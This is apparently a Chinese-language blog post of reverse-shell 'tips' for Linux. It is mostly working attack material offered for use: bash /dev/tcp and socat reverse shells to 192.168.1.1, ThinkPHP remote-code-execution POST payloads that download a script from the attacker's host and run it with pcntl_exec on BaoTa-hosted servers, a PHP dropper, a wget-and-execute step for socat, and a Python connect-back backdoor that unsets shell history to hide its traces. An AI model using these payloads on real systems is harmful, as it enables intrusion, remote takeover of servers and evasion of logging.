Linux 一些反弹 shell 的小姿势
Fanx / 2020-04-03 / Linux / 阅读量 3320

前言

记录一下反弹 shell 的小技巧

bash 反弹

使用此方法可获得一个简易 shell
客户端:

bash -i >& /dev/tcp/192.168.1.1/8888 0>&1

服务端:

ncat -lvvp 8888

优缺点

优点:简易,不需要文件落地
缺点:太过简易,不能补全,不能交互(vim之类应用),有时不小心按到ctrl+c还得重新反弹

搭配 ThinkPHP 执行(宝塔环境)

版本不是太新的宝塔不会禁止pcntl_exec,可以用此方法反弹shell
服务端监听:

ncat -lvvp 8888

服务端写一个 txt

bash -i >& /dev/tcp/192.168.1.1/8888 0>&1

这里使用其中一个 Payload 举例,其他的 Payload 同理

http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=copy('http://192.168.1.1/shell.txt','/tmp/shell.sh')

或者

http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=file_put_contents('/tmp/shell.sh',file_get_contents('http://192.168.1.1/shell.txt'))

接下来

http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=pcntl_exec("/bin/bash",array("/tmp/shell.sh"))

php 执行

<?php
file_put_contents('/tmp/shell.sh',file_get_contents('http://192.168.1.1/shell.txt'));
pcntl_exec("/bin/bash",array("/tmp/shell.sh"));
?>

socat

服务端安装:
sudo apt install socat或下载单文件版或在官网下载
服务端监听:

socat file:`tty`,raw,echo=0 tcp-listen:8888

客户端

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.1:8888

优缺点

优点:全功能,可补全,可交互
缺点:需要上传文件

搭配 ThinkPHP 执行(宝塔环境)

服务端监听:

socat file:`tty`,raw,echo=0 tcp-listen:8888

先把上面下载的socat放到服务端的 web 目录中
其他的跟上面同理,不过服务端的txt需要小改动一下

wget -P /tmp/ http://192.168.1.1/socat
chmod +x /tmp/socat
/tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.1.1:8888

这里使用其中一个 Payload 举例,其他 Payload 的同理

http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=copy('http://192.168.1.1/shell.txt','/tmp/shell.sh')

或者

http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=file_put_contents('/tmp/shell.sh',file_get_contents('http://192.168.1.1/shell.txt'))

接下来

http://localhost/index.php?s=captcha
POST:
_method=__construct&filter[]=assert&method=get&server[REQUEST_METHOD]=pcntl_exec("/bin/bash",array("/tmp/shell.sh"))

php 执行

<?php
file_put_contents('/tmp/shell.sh',file_get_contents('http://192.168.1.1/shell.txt'));
pcntl_exec("/bin/bash",array("/tmp/shell.sh"));
?>

Python 方式

#!/usr/bin/python

import sys
import os
import socket
import pty

shell = "/bin/sh"

def usage(programname):
    print "python connect-back door"
    print "Usage: %s host port" % programname
    
def main():
    if len(sys.argv) !=3:
        usage(sys.argv[0])
        sys.exit(1)
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
        print "[+]Connect OK."
    except:
        print "[-]Can't connect"
        sys.exit(2)
        
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    global shell
    os.unsetenv("HISTFILE")
    os.unsetenv("HISTFILESIZE")
    pty.spawn(shell)
    s.close()
    
if __name__ == "__main__":
    main()

用法:

python server.py 192.168.1.1 8888

小技巧

python -c 'import pty; pty.spawn("/bin/bash")'

参考

http://blog.evalbug.com/2018/07/25/antsword_prompt_shell/
https://github.com/andrew-d/static-binaries
http://scz.617.cn/unix/201902151750.txt
https://wx.abbao.cn/a/13847-7cd1b6e418fa413b.html

8 + 9 =
快来做第一个评论的人吧~